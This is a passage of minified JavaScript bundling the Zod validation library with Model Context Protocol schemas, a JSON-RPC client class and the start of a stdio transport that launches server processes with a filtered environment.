this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(o=>o.status==="aborted"?ke:(o.status==="dirty"&&r.dirty(),i(o.value).then(()=>({status:r.value,value:o.value}))))}if(a.type==="transform")if(n.common.async===!1){let i=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});if(!Pa(i))return ke;let o=a.transform(i.value,s);if(o instanceof Promise)throw new Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:r.value,value:o}}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(i=>Pa(i)?Promise.resolve(a.transform(i.value,s)).then(o=>({status:r.value,value:o})):ke);He.assertNever(a)}};yr.create=(t,e,r)=>new yr({schema:t,typeName:$e.ZodEffects,effect:e,...Ne(r)});yr.createWithPreprocess=(t,e,r)=>new yr({schema:e,effect:{type:"preprocess",transform:t},typeName:$e.ZodEffects,...Ne(r)});var vr=class extends qe{_parse(e){return this._getType(e)===ge.undefined?Lt(void 0):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};vr.create=(t,e)=>new vr({innerType:t,typeName:$e.ZodOptional,...Ne(e)});var Xr=class extends qe{_parse(e){return this._getType(e)===ge.null?Lt(null):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};Xr.create=(t,e)=>new Xr({innerType:t,typeName:$e.ZodNullable,...Ne(e)});var Sn=class extends qe{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return r.parsedType===ge.undefined&&(n=this._def.defaultValue()),this._def.innerType._parse({data:n,path:r.path,parent:r})}removeDefault(){return this._def.innerType}};Sn.create=(t,e)=>new Sn({innerType:t,typeName:$e.ZodDefault,defaultValue:typeof e.default=="function"?e.default:()=>e.default,...Ne(e)});var En=class extends qe{_parse(e){let{ctx:r}=this._processInputParams(e),n={...r,common:{...r.common,issues:[]}},a=this._def.innerType._parse({data:n.data,path:n.path,parent:{...n}});return xs(a)?a.then(s=>({status:"valid",value:s.status==="valid"?s.value:this._def.catchValue({get error(){return new Yt(n.common.issues)},input:n.data})})):{status:"valid",value:a.status==="valid"?a.value:this._def.catchValue({get error(){return new Yt(n.common.issues)},input:n.data})}}removeCatch(){return this._def.innerType}};En.create=(t,e)=>new En({innerType:t,typeName:$e.ZodCatch,catchValue:typeof e.catch=="function"?e.catch:()=>e.catch,...Ne(e)});var Rs=class extends qe{_parse(e){if(this._getType(e)!==ge.nan){let n=this._getOrReturnCtx(e);return me(n,{code:se.invalid_type,expected:ge.nan,received:n.parsedType}),ke}return{status:"valid",value:e.data}}};Rs.create=t=>new Rs({typeName:$e.ZodNaN,...Ne(t)});var J2=Symbol("zod_brand"),Yi=class extends qe{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return this._def.type._parse({data:n,path:r.path,parent:r})}unwrap(){return this._def.type}},Qi=class t extends qe{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.common.async)return(async()=>{let s=await this._def.in._parseAsync({data:n.data,path:n.path,parent:n});return s.status==="aborted"?ke:s.status==="dirty"?(r.dirty(),ln(s.value)):this._def.out._parseAsync({data:s.value,path:n.path,parent:n})})();{let a=this._def.in._parseSync({data:n.data,path:n.path,parent:n});return a.status==="aborted"?ke:a.status==="dirty"?(r.dirty(),{status:"dirty",value:a.value}):this._def.out._parseSync({data:a.value,path:n.path,parent:n})}}static create(e,r){return new t({in:e,out:r,typeName:$e.ZodPipeline})}},Tn=class extends qe{_parse(e){let r=this._def.innerType._parse(e),n=a=>(Pa(a)&&(a.value=Object.freeze(a.value)),a);return xs(r)?r.then(a=>n(a)):n(r)}unwrap(){return this._def.innerType}};Tn.create=(t,e)=>new Tn({innerType:t,typeName:$e.ZodReadonly,...Ne(e)});function px(t,e){let r=typeof t=="function"?t(e):typeof t=="string"?{message:t}:t;return typeof r=="string"?{message:r}:r}function gx(t,e={},r){return t?Ca.create().superRefine((n,a)=>{let s=t(n);if(s instanceof Promise)return s.then(i=>{if(!i){let o=px(e,n),c=o.fatal??r??!0;a.addIssue({code:"custom",...o,fatal:c})}});if(!s){let i=px(e,n),o=i.fatal??r??!0;a.addIssue({code:"custom",...i,fatal:o})}}):Ca.create()}var Y2={object:Qt.lazycreate},$e;(function(t){t.ZodString="ZodString",t.ZodNumber="ZodNumber",t.ZodNaN="ZodNaN",t.ZodBigInt="ZodBigInt",t.ZodBoolean="ZodBoolean",t.ZodDate="ZodDate",t.ZodSymbol="ZodSymbol",t.ZodUndefined="ZodUndefined",t.ZodNull="ZodNull",t.ZodAny="ZodAny",t.ZodUnknown="ZodUnknown",t.ZodNever="ZodNever",t.ZodVoid="ZodVoid",t.ZodArray="ZodArray",t.ZodObject="ZodObject",t.ZodUnion="ZodUnion",t.ZodDiscriminatedUnion="ZodDiscriminatedUnion",t.ZodIntersection="ZodIntersection",t.ZodTuple="ZodTuple",t.ZodRecord="ZodRecord",t.ZodMap="ZodMap",t.ZodSet="ZodSet",t.ZodFunction="ZodFunction",t.ZodLazy="ZodLazy",t.ZodLiteral="ZodLiteral",t.ZodEnum="ZodEnum",t.ZodEffects="ZodEffects",t.ZodNativeEnum="ZodNativeEnum",t.ZodOptional="ZodOptional",t.ZodNullable="ZodNullable",t.ZodDefault="ZodDefault",t.ZodCatch="ZodCatch",t.ZodPromise="ZodPromise",t.ZodBranded="ZodBranded",t.ZodPipeline="ZodPipeline",t.ZodReadonly="ZodReadonly"})($e||($e={}));var Q2=(t,e={message:`Input not instance of ${t.name}`})=>gx(r=>r instanceof t,e),yx=Oa.create,_x=dn.create,eM=Rs.create,tM=pn.create,bx=fn.create,rM=mn.create,aM=Ss.create,nM=hn.create,sM=vn.create,iM=Ca.create,oM=ua.create,cM=Ir.create,uM=Es.create,lM=la.create,dM=Qt.create,pM=Qt.strictCreate,fM=gn.create,mM=Gc.create,hM=yn.create,vM=Kr.create,gM=Kc.create,yM=Ts.create,_M=ks.create,bM=Xc.create,xM=_n.create,wM=bn.create,SM=xn.create,EM=wn.create,TM=Ia.create,kM=yr.create,RM=vr.create,$M=Xr.create,PM=yr.createWithPreprocess,OM=Qi.create,CM=()=>yx().optional(),IM=()=>_x().optional(),AM=()=>bx().optional(),NM={string:(t=>Oa.create({...t,coerce:!0})),number:(t=>dn.create({...t,coerce:!0})),boolean:(t=>fn.create({...t,coerce:!0})),bigint:(t=>pn.create({...t,coerce:!0})),date:(t=>mn.create({...t,coerce:!0}))};var jM=ke;var Xp="2025-06-18";var xx=[Xp,"2025-03-26","2024-11-05","2024-10-07"],Jc="2.0",wx=$.union([$.string(),$.number().int()]),Sx=$.string(),MM=$.object({progressToken:$.optional(wx)}).passthrough(),xr=$.object({_meta:$.optional(MM)}).passthrough(),er=$.object({method:$.string(),params:$.optional(xr)}),eo=$.object({_meta:$.optional($.object({}).passthrough())}).passthrough(),Jr=$.object({method:$.string(),params:$.optional(eo)}),wr=$.object({_meta:$.optional($.object({}).passthrough())}).passthrough(),Yc=$.union([$.string(),$.number().int()]),Ex=$.object({jsonrpc:$.literal(Jc),id:Yc}).merge(er).strict(),Tx=t=>Ex.safeParse(t).success,kx=$.object({jsonrpc:$.literal(Jc)}).merge(Jr).strict(),Rx=t=>kx.safeParse(t).success,$x=$.object({jsonrpc:$.literal(Jc),id:Yc,result:wr}).strict(),Jp=t=>$x.safeParse(t).success,_r;(function(t){t[t.ConnectionClosed=-32e3]="ConnectionClosed",t[t.RequestTimeout=-32001]="RequestTimeout",t[t.ParseError=-32700]="ParseError",t[t.InvalidRequest=-32600]="InvalidRequest",t[t.MethodNotFound=-32601]="MethodNotFound",t[t.InvalidParams=-32602]="InvalidParams",t[t.InternalError=-32603]="InternalError"})(_r||(_r={}));var Px=$.object({jsonrpc:$.literal(Jc),id:Yc,error:$.object({code:$.number().int(),message:$.string(),data:$.optional($.unknown())})}).strict(),Ox=t=>Px.safeParse(t).success,Cx=$.union([Ex,kx,$x,Px]),kn=wr.strict(),Qc=Jr.extend({method:$.literal("notifications/cancelled"),params:eo.extend({requestId:Yc,reason:$.string().optional()})}),DM=$.object({src:$.string(),mimeType:$.optional($.string()),sizes:$.optional($.array($.string()))}).passthrough(),to=$.object({icons:$.array(DM).optional()}).passthrough(),ro=$.object({name:$.string(),title:$.optional($.string())}).passthrough(),Ix=ro.extend({version:$.string(),websiteUrl:$.optional($.string())}).merge(to),qM=$.object({experimental:$.optional($.object({}).passthrough()),sampling:$.optional($.object({}).passthrough()),elicitation:$.optional($.object({}).passthrough()),roots:$.optional($.object({listChanged:$.optional($.boolean())}).passthrough())}).passthrough(),LM=er.extend({method:$.literal("initialize"),params:xr.extend({protocolVersion:$.string(),capabilities:qM,clientInfo:Ix})});var FM=$.object({experimental:$.optional($.object({}).passthrough()),logging:$.optional($.object({}).passthrough()),completions:$.optional($.object({}).passthrough()),prompts:$.optional($.object({listChanged:$.optional($.boolean())}).passthrough()),resources:$.optional($.object({subscribe:$.optional($.boolean()),listChanged:$.optional($.boolean())}).passthrough()),tools:$.optional($.object({listChanged:$.optional($.boolean())}).passthrough())}).passthrough(),Yp=wr.extend({protocolVersion:$.string(),capabilities:FM,serverInfo:Ix,instructions:$.optional($.string())}),zM=Jr.extend({method:$.literal("notifications/initialized")});var eu=er.extend({method:$.literal("ping")}),UM=$.object({progress:$.number(),total:$.optional($.number()),message:$.optional($.string())}).passthrough(),tu=Jr.extend({method:$.literal("notifications/progress"),params:eo.merge(UM).extend({progressToken:wx})}),ru=er.extend({params:xr.extend({cursor:$.optional(Sx)}).optional()}),au=wr.extend({nextCursor:$.optional(Sx)}),Ax=$.object({uri:$.string(),mimeType:$.optional($.string()),_meta:$.optional($.object({}).passthrough())}).passthrough(),Nx=Ax.extend({text:$.string()}),Qp=$.string().refine(t=>{try{return atob(t),!0}catch{return!1}},{message:"Invalid Base64 string"}),jx=Ax.extend({blob:Qp}),Mx=ro.extend({uri:$.string(),description:$.optional($.string()),mimeType:$.optional($.string()),_meta:$.optional($.object({}).passthrough())}).merge(to),HM=ro.extend({uriTemplate:$.string(),description:$.optional($.string()),mimeType:$.optional($.string()),_meta:$.optional($.object({}).passthrough())}).merge(to),BM=ru.extend({method:$.literal("resources/list")}),ef=au.extend({resources:$.array(Mx)}),VM=ru.extend({method:$.literal("resources/templates/list")}),tf=au.extend({resourceTemplates:$.array(HM)}),WM=er.extend({method:$.literal("resources/read"),params:xr.extend({uri:$.string()})}),rf=wr.extend({contents:$.array($.union([Nx,jx]))}),ZM=Jr.extend({method:$.literal("notifications/resources/list_changed")}),GM=er.extend({method:$.literal("resources/subscribe"),params:xr.extend({uri:$.string()})}),KM=er.extend({method:$.literal("resources/unsubscribe"),params:xr.extend({uri:$.string()})}),XM=Jr.extend({method:$.literal("notifications/resources/updated"),params:eo.extend({uri:$.string()})}),JM=$.object({name:$.string(),description:$.optional($.string()),required:$.optional($.boolean())}).passthrough(),YM=ro.extend({description:$.optional($.string()),arguments:$.optional($.array(JM)),_meta:$.optional($.object({}).passthrough())}).merge(to),QM=ru.extend({method:$.literal("prompts/list")}),af=au.extend({prompts:$.array(YM)}),eD=er.extend({method:$.literal("prompts/get"),params:xr.extend({name:$.string(),arguments:$.optional($.record($.string()))})}),nf=$.object({type:$.literal("text"),text:$.string(),_meta:$.optional($.object({}).passthrough())}).passthrough(),sf=$.object({type:$.literal("image"),data:Qp,mimeType:$.string(),_meta:$.optional($.object({}).passthrough())}).passthrough(),of=$.object({type:$.literal("audio"),data:Qp,mimeType:$.string(),_meta:$.optional($.object({}).passthrough())}).passthrough(),tD=$.object({type:$.literal("resource"),resource:$.union([Nx,jx]),_meta:$.optional($.object({}).passthrough())}).passthrough(),rD=Mx.extend({type:$.literal("resource_link")}),Dx=$.union([nf,sf,of,rD,tD]),aD=$.object({role:$.enum(["user","assistant"]),content:Dx}).passthrough(),cf=wr.extend({description:$.optional($.string()),messages:$.array(aD)}),nD=Jr.extend({method:$.literal("notifications/prompts/list_changed")}),sD=$.object({title:$.optional($.string()),readOnlyHint:$.optional($.boolean()),destructiveHint:$.optional($.boolean()),idempotentHint:$.optional($.boolean()),openWorldHint:$.optional($.boolean())}).passthrough(),iD=ro.extend({description:$.optional($.string()),inputSchema:$.object({type:$.literal("object"),properties:$.optional($.object({}).passthrough()),required:$.optional($.array($.string()))}).passthrough(),outputSchema:$.optional($.object({type:$.literal("object"),properties:$.optional($.object({}).passthrough()),required:$.optional($.array($.string()))}).passthrough()),annotations:$.optional(sD),_meta:$.optional($.object({}).passthrough())}).merge(to),oD=ru.extend({method:$.literal("tools/list")}),uf=au.extend({tools:$.array(iD)}),nu=wr.extend({content:$.array(Dx).default([]),structuredContent:$.object({}).passthrough().optional(),isError:$.optional($.boolean())}),kZ=nu.or(wr.extend({toolResult:$.unknown()})),cD=er.extend({method:$.literal("tools/call"),params:xr.extend({name:$.string(),arguments:$.optional($.record($.unknown()))})}),uD=Jr.extend({method:$.literal("notifications/tools/list_changed")}),qx=$.enum(["debug","info","notice","warning","error","critical","alert","emergency"]),lD=er.extend({method:$.literal("logging/setLevel"),params:xr.extend({level:qx})}),dD=Jr.extend({method:$.literal("notifications/message"),params:eo.extend({level:qx,logger:$.optional($.string()),data:$.unknown()})}),pD=$.object({name:$.string().optional()}).passthrough(),fD=$.object({hints:$.optional($.array(pD)),costPriority:$.optional($.number().min(0).max(1)),speedPriority:$.optional($.number().min(0).max(1)),intelligencePriority:$.optional($.number().min(0).max(1))}).passthrough(),mD=$.object({role:$.enum(["user","assistant"]),content:$.union([nf,sf,of])}).passthrough(),hD=er.extend({method:$.literal("sampling/createMessage"),params:xr.extend({messages:$.array(mD),systemPrompt:$.optional($.string()),includeContext:$.optional($.enum(["none","thisServer","allServers"])),temperature:$.optional($.number()),maxTokens:$.number().int(),stopSequences:$.optional($.array($.string())),metadata:$.optional($.object({}).passthrough()),modelPreferences:$.optional(fD)})}),vD=wr.extend({model:$.string(),stopReason:$.optional($.enum(["endTurn","stopSequence","maxTokens"]).or($.string())),role:$.enum(["user","assistant"]),content:$.discriminatedUnion("type",[nf,sf,of])}),gD=$.object({type:$.literal("boolean"),title:$.optional($.string()),description:$.optional($.string()),default:$.optional($.boolean())}).passthrough(),yD=$.object({type:$.literal("string"),title:$.optional($.string()),description:$.optional($.string()),minLength:$.optional($.number()),maxLength:$.optional($.number()),format:$.optional($.enum(["email","uri","date","date-time"]))}).passthrough(),_D=$.object({type:$.enum(["number","integer"]),title:$.optional($.string()),description:$.optional($.string()),minimum:$.optional($.number()),maximum:$.optional($.number())}).passthrough(),bD=$.object({type:$.literal("string"),title:$.optional($.string()),description:$.optional($.string()),enum:$.array($.string()),enumNames:$.optional($.array($.string()))}).passthrough(),xD=$.union([gD,yD,_D,bD]),wD=er.extend({method:$.literal("elicitation/create"),params:xr.extend({message:$.string(),requestedSchema:$.object({type:$.literal("object"),properties:$.record($.string(),xD),required:$.optional($.array($.string()))}).passthrough()})}),SD=wr.extend({action:$.enum(["accept","decline","cancel"]),content:$.optional($.record($.string(),$.unknown()))}),ED=$.object({type:$.literal("ref/resource"),uri:$.string()}).passthrough();var TD=$.object({type:$.literal("ref/prompt"),name:$.string()}).passthrough(),kD=er.extend({method:$.literal("completion/complete"),params:xr.extend({ref:$.union([TD,ED]),argument:$.object({name:$.string(),value:$.string()}).passthrough(),context:$.optional($.object({arguments:$.optional($.record($.string(),$.string()))}))})}),lf=wr.extend({completion:$.object({values:$.array($.string()).max(100),total:$.optional($.number().int()),hasMore:$.optional($.boolean())}).passthrough()}),RD=$.object({uri:$.string().startsWith("file://"),name:$.optional($.string()),_meta:$.optional($.object({}).passthrough())}).passthrough(),$D=er.extend({method:$.literal("roots/list")}),PD=wr.extend({roots:$.array(RD)}),OD=Jr.extend({method:$.literal("notifications/roots/list_changed")}),RZ=$.union([eu,LM,kD,lD,eD,QM,BM,VM,WM,GM,KM,cD,oD]),$Z=$.union([Qc,tu,zM,OD]),PZ=$.union([kn,vD,SD,PD]),OZ=$.union([eu,hD,wD,$D]),CZ=$.union([Qc,tu,dD,XM,ZM,uD,nD]),IZ=$.union([kn,Yp,lf,cf,af,ef,tf,rf,nu,uf]),br=class extends Error{constructor(e,r,n){super(`MCP error ${e}: ${r}`),this.code=e,this.data=n,this.name="McpError"}};var CD=6e4,su=class{constructor(e){this._options=e,this._requestMessageId=0,this._requestHandlers=new Map,this._requestHandlerAbortControllers=new Map,this._notificationHandlers=new Map,this._responseHandlers=new Map,this._progressHandlers=new Map,this._timeoutInfo=new Map,this._pendingDebouncedNotifications=new Set,this.setNotificationHandler(Qc,r=>{let n=this._requestHandlerAbortControllers.get(r.params.requestId);n?.abort(r.params.reason)}),this.setNotificationHandler(tu,r=>{this._onprogress(r)}),this.setRequestHandler(eu,r=>({}))}_setupTimeout(e,r,n,a,s=!1){this._timeoutInfo.set(e,{timeoutId:setTimeout(a,r),startTime:Date.now(),timeout:r,maxTotalTimeout:n,resetTimeoutOnProgress:s,onTimeout:a})}_resetTimeout(e){let r=this._timeoutInfo.get(e);if(!r)return!1;let n=Date.now()-r.startTime;if(r.maxTotalTimeout&&n>=r.maxTotalTimeout)throw this._timeoutInfo.delete(e),new br(_r.RequestTimeout,"Maximum total timeout exceeded",{maxTotalTimeout:r.maxTotalTimeout,totalElapsed:n});return clearTimeout(r.timeoutId),r.timeoutId=setTimeout(r.onTimeout,r.timeout),!0}_cleanupTimeout(e){let r=this._timeoutInfo.get(e);r&&(clearTimeout(r.timeoutId),this._timeoutInfo.delete(e))}async connect(e){var r,n,a;this._transport=e;let s=(r=this.transport)===null||r===void 0?void 0:r.onclose;this._transport.onclose=()=>{s?.(),this._onclose()};let i=(n=this.transport)===null||n===void 0?void 0:n.onerror;this._transport.onerror=c=>{i?.(c),this._onerror(c)};let o=(a=this._transport)===null||a===void 0?void 0:a.onmessage;this._transport.onmessage=(c,u)=>{o?.(c,u),Jp(c)||Ox(c)?this._onresponse(c):Tx(c)?this._onrequest(c,u):Rx(c)?this._onnotification(c):this._onerror(new Error(`Unknown message type: ${JSON.stringify(c)}`))},await this._transport.start()}_onclose(){var e;let r=this._responseHandlers;this._responseHandlers=new Map,this._progressHandlers.clear(),this._pendingDebouncedNotifications.clear(),this._transport=void 0,(e=this.onclose)===null||e===void 0||e.call(this);let n=new br(_r.ConnectionClosed,"Connection closed");for(let a of r.values())a(n)}_onerror(e){var r;(r=this.onerror)===null||r===void 0||r.call(this,e)}_onnotification(e){var r;let n=(r=this._notificationHandlers.get(e.method))!==null&&r!==void 0?r:this.fallbackNotificationHandler;n!==void 0&&Promise.resolve().then(()=>n(e)).catch(a=>this._onerror(new Error(`Uncaught error in notification handler: ${a}`)))}_onrequest(e,r){var n,a;let s=(n=this._requestHandlers.get(e.method))!==null&&n!==void 0?n:this.fallbackRequestHandler,i=this._transport;if(s===void 0){i?.send({jsonrpc:"2.0",id:e.id,error:{code:_r.MethodNotFound,message:"Method not found"}}).catch(u=>this._onerror(new Error(`Failed to send an error response: ${u}`)));return}let o=new AbortController;this._requestHandlerAbortControllers.set(e.id,o);let c={signal:o.signal,sessionId:i?.sessionId,_meta:(a=e.params)===null||a===void 0?void 0:a._meta,sendNotification:u=>this.notification(u,{relatedRequestId:e.id}),sendRequest:(u,l,d)=>this.request(u,l,{...d,relatedRequestId:e.id}),authInfo:r?.authInfo,requestId:e.id,requestInfo:r?.requestInfo};Promise.resolve().then(()=>s(e,c)).then(u=>{if(!o.signal.aborted)return i?.send({result:u,jsonrpc:"2.0",id:e.id})},u=>{var l;if(!o.signal.aborted)return i?.send({jsonrpc:"2.0",id:e.id,error:{code:Number.isSafeInteger(u.code)?u.code:_r.InternalError,message:(l=u.message)!==null&&l!==void 0?l:"Internal error"}})}).catch(u=>this._onerror(new Error(`Failed to send response: ${u}`))).finally(()=>{this._requestHandlerAbortControllers.delete(e.id)})}_onprogress(e){let{progressToken:r,...n}=e.params,a=Number(r),s=this._progressHandlers.get(a);if(!s){this._onerror(new Error(`Received a progress notification for an unknown token: ${JSON.stringify(e)}`));return}let i=this._responseHandlers.get(a),o=this._timeoutInfo.get(a);if(o&&i&&o.resetTimeoutOnProgress)try{this._resetTimeout(a)}catch(c){i(c);return}s(n)}_onresponse(e){let r=Number(e.id),n=this._responseHandlers.get(r);if(n===void 0){this._onerror(new Error(`Received a response for an unknown message ID: ${JSON.stringify(e)}`));return}if(this._responseHandlers.delete(r),this._progressHandlers.delete(r),this._cleanupTimeout(r),Jp(e))n(e);else{let a=new br(e.error.code,e.error.message,e.error.data);n(a)}}get transport(){return this._transport}async close(){var e;await((e=this._transport)===null||e===void 0?void 0:e.close())}request(e,r,n){let{relatedRequestId:a,resumptionToken:s,onresumptiontoken:i}=n??{};return new Promise((o,c)=>{var u,l,d,f,m,g;if(!this._transport){c(new Error("Not connected"));return}((u=this._options)===null||u===void 0?void 0:u.enforceStrictCapabilities)===!0&&this.assertCapabilityForMethod(e.method),(l=n?.signal)===null||l===void 0||l.throwIfAborted();let b=this._requestMessageId++,p={...e,jsonrpc:"2.0",id:b};n?.onprogress&&(this._progressHandlers.set(b,n.onprogress),p.params={...e.params,_meta:{...((d=e.params)===null||d===void 0?void 0:d._meta)||{},progressToken:b}});let h=_=>{var S;this._responseHandlers.delete(b),this._progressHandlers.delete(b),this._cleanupTimeout(b),(S=this._transport)===null||S===void 0||S.send({jsonrpc:"2.0",method:"notifications/cancelled",params:{requestId:b,reason:String(_)}},{relatedRequestId:a,resumptionToken:s,onresumptiontoken:i}).catch(x=>this._onerror(new Error(`Failed to send cancellation: ${x}`))),c(_)};this._responseHandlers.set(b,_=>{var S;if(!(!((S=n?.signal)===null||S===void 0)&&S.aborted)){if(_ instanceof Error)return c(_);try{let x=r.parse(_.result);o(x)}catch(x){c(x)}}}),(f=n?.signal)===null||f===void 0||f.addEventListener("abort",()=>{var _;h((_=n?.signal)===null||_===void 0?void 0:_.reason)});let y=(m=n?.timeout)!==null&&m!==void 0?m:CD,v=()=>h(new br(_r.RequestTimeout,"Request timed out",{timeout:y}));this._setupTimeout(b,y,n?.maxTotalTimeout,v,(g=n?.resetTimeoutOnProgress)!==null&&g!==void 0?g:!1),this._transport.send(p,{relatedRequestId:a,resumptionToken:s,onresumptiontoken:i}).catch(_=>{this._cleanupTimeout(b),c(_)})})}async notification(e,r){var n,a;if(!this._transport)throw new Error("Not connected");if(this.assertNotificationCapability(e.method),((a=(n=this._options)===null||n===void 0?void 0:n.debouncedNotificationMethods)!==null&&a!==void 0?a:[]).includes(e.method)&&!e.params&&!r?.relatedRequestId){if(this._pendingDebouncedNotifications.has(e.method))return;this._pendingDebouncedNotifications.add(e.method),Promise.resolve().then(()=>{var c;if(this._pendingDebouncedNotifications.delete(e.method),!this._transport)return;let u={...e,jsonrpc:"2.0"};(c=this._transport)===null||c===void 0||c.send(u,r).catch(l=>this._onerror(l))});return}let o={...e,jsonrpc:"2.0"};await this._transport.send(o,r)}setRequestHandler(e,r){let n=e.shape.method.value;this.assertRequestHandlerCapability(n),this._requestHandlers.set(n,(a,s)=>Promise.resolve(r(e.parse(a),s)))}removeRequestHandler(e){this._requestHandlers.delete(e)}assertCanSetRequestHandler(e){if(this._requestHandlers.has(e))throw new Error(`A request handler for ${e} already exists, which would be overridden`)}setNotificationHandler(e,r){this._notificationHandlers.set(e.shape.method.value,n=>Promise.resolve(r(e.parse(n))))}removeNotificationHandler(e){this._notificationHandlers.delete(e)}};function Lx(t,e){return Object.entries(e).reduce((r,[n,a])=>(a&&typeof a=="object"?r[n]=r[n]?{...r[n],...a}:a:r[n]=a,r),{...t})}var zS=$t(FS(),1),$s=class extends su{constructor(e,r){var n;super(r),this._clientInfo=e,this._cachedToolOutputValidators=new Map,this._capabilities=(n=r?.capabilities)!==null&&n!==void 0?n:{},this._ajv=new zS.default}registerCapabilities(e){if(this.transport)throw new Error("Cannot register capabilities after connecting to transport");this._capabilities=Lx(this._capabilities,e)}assertCapability(e,r){var n;if(!(!((n=this._serverCapabilities)===null||n===void 0)&&n[e]))throw new Error(`Server does not support ${e} (required for ${r})`)}async connect(e,r){if(await super.connect(e),e.sessionId===void 0)try{let n=await this.request({method:"initialize",params:{protocolVersion:Xp,capabilities:this._capabilities,clientInfo:this._clientInfo}},Yp,r);if(n===void 0)throw new Error(`Server sent invalid initialize result: ${n}`);if(!xx.includes(n.protocolVersion))throw new Error(`Server's protocol version is not supported: ${n.protocolVersion}`);this._serverCapabilities=n.capabilities,this._serverVersion=n.serverInfo,e.setProtocolVersion&&e.setProtocolVersion(n.protocolVersion),this._instructions=n.instructions,await this.notification({method:"notifications/initialized"})}catch(n){throw this.close(),n}}getServerCapabilities(){return this._serverCapabilities}getServerVersion(){return this._serverVersion}getInstructions(){return this._instructions}assertCapabilityForMethod(e){var r,n,a,s,i;switch(e){case"logging/setLevel":if(!(!((r=this._serverCapabilities)===null||r===void 0)&&r.logging))throw new Error(`Server does not support logging (required for ${e})`);break;case"prompts/get":case"prompts/list":if(!(!((n=this._serverCapabilities)===null||n===void 0)&&n.prompts))throw new Error(`Server does not support prompts (required for ${e})`);break;case"resources/list":case"resources/templates/list":case"resources/read":case"resources/subscribe":case"resources/unsubscribe":if(!(!((a=this._serverCapabilities)===null||a===void 0)&&a.resources))throw new Error(`Server does not support resources (required for ${e})`);if(e==="resources/subscribe"&&!this._serverCapabilities.resources.subscribe)throw new Error(`Server does not support resource subscriptions (required for ${e})`);break;case"tools/call":case"tools/list":if(!(!((s=this._serverCapabilities)===null||s===void 0)&&s.tools))throw new Error(`Server does not support tools (required for ${e})`);break;case"completion/complete":if(!(!((i=this._serverCapabilities)===null||i===void 0)&&i.completions))throw new Error(`Server does not support completions (required for ${e})`);break;case"initialize":break;case"ping":break}}assertNotificationCapability(e){var r;switch(e){case"notifications/roots/list_changed":if(!(!((r=this._capabilities.roots)===null||r===void 0)&&r.listChanged))throw new Error(`Client does not support roots list changed notifications (required for ${e})`);break;case"notifications/initialized":break;case"notifications/cancelled":break;case"notifications/progress":break}}assertRequestHandlerCapability(e){switch(e){case"sampling/createMessage":if(!this._capabilities.sampling)throw new Error(`Client does not support sampling capability (required for ${e})`);break;case"elicitation/create":if(!this._capabilities.elicitation)throw new Error(`Client does not support elicitation capability (required for ${e})`);break;case"roots/list":if(!this._capabilities.roots)throw new Error(`Client does not support roots capability (required for ${e})`);break;case"ping":break}}async ping(e){return this.request({method:"ping"},kn,e)}async complete(e,r){return this.request({method:"completion/complete",params:e},lf,r)}async setLoggingLevel(e,r){return this.request({method:"logging/setLevel",params:{level:e}},kn,r)}async getPrompt(e,r){return this.request({method:"prompts/get",params:e},cf,r)}async listPrompts(e,r){return this.request({method:"prompts/list",params:e},af,r)}async listResources(e,r){return this.request({method:"resources/list",params:e},ef,r)}async listResourceTemplates(e,r){return this.request({method:"resources/templates/list",params:e},tf,r)}async readResource(e,r){return this.request({method:"resources/read",params:e},rf,r)}async subscribeResource(e,r){return this.request({method:"resources/subscribe",params:e},kn,r)}async unsubscribeResource(e,r){return this.request({method:"resources/unsubscribe",params:e},kn,r)}async callTool(e,r=nu,n){let a=await this.request({method:"tools/call",params:e},r,n),s=this.getToolOutputValidator(e.name);if(s){if(!a.structuredContent&&!a.isError)throw new br(_r.InvalidRequest,`Tool ${e.name} has an output schema but did not return structured content`);if(a.structuredContent)try{if(!s(a.structuredContent))throw new br(_r.InvalidParams,`Structured content does not match the tool's output schema: ${this._ajv.errorsText(s.errors)}`)}catch(i){throw i instanceof br?i:new br(_r.InvalidParams,`Failed to validate structured content: ${i instanceof Error?i.message:String(i)}`)}}return a}cacheToolOutputSchemas(e){this._cachedToolOutputValidators.clear();for(let r of e)if(r.outputSchema)try{let n=this._ajv.compile(r.outputSchema);this._cachedToolOutputValidators.set(r.name,n)}catch{}}getToolOutputValidator(e){return this._cachedToolOutputValidators.get(e)}async listTools(e,r){let n=await this.request({method:"tools/list",params:e},uf,r);return this.cacheToolOutputSchemas(n.tools),n}async sendRootsListChanged(){return this.notification({method:"notifications/roots/list_changed"})}};var CE=$t(PE(),1),no=$t(require("node:process"),1),IE=require("node:stream");var Tu=class{append(e){this._buffer=this._buffer?Buffer.concat([this._buffer,e]):e}readMessage(){if(!this._buffer)return null;let e=this._buffer.indexOf(` -`);if(e===-1)return null;let r=this._buffer.toString("utf8",0,e).replace(/\r$/,"");return this._buffer=this._buffer.subarray(e+1),M9(r)}clear(){this._buffer=void 0}};function M9(t){return Cx.parse(JSON.parse(t))}function OE(t){return JSON.stringify(t)+` -`}var D9=no.default.platform==="win32"?["APPDATA","HOMEDRIVE","HOMEPATH","LOCALAPPDATA","PATH","PROCESSOR_ARCHITECTURE","SYSTEMDRIVE","SYSTEMROOT","TEMP","USERNAME","USERPROFILE","PROGRAMFILES"]:["HOME","LOGNAME","PATH","SHELL","TERM","USER"];function q9(){let t={};for(let e of D9){let r=no.default.env[e];r!==void 0&&(r.startsWith("()")||(t[e]=r))}return t}var Cs=class{constructor(e){this._abortController=new AbortController,this._readBuffer=new Tu,this._stderrStream=null,this._serverParams=e,(e.stderr==="pipe"||e.stderr==="overlapped")&&(this._stderrStream=new IE.PassThrough)}async start(){if(this._process)throw new Error("StdioClientTransport already started! If using Client class, note that connect() calls start() automatically.");return new Promise((e,r)=>{var n,a,s,i,o;this._process=(0,CE.default)(this._serverParams.command,(n=this._serverParams.args)!==null&&n!==void 0?n:[],{env:{...q9(),...this._serverParams.env},stdio:["pipe","pipe",(a=this._serverParams.stderr)!==null&&a!==void 0?a:"inherit"],shell:!1,signal:this._abortController.signal,windowsHide:no.default.platform==="win32"&&L9(),cwd:this._serverParams.cwd}),this._process.on("error",c=>{var u,l;if(c.name==="AbortError"){(u=this.onclose)===null||u===void 0||u.call(this);return}r(c),(l=this.onerror)===null||l===void 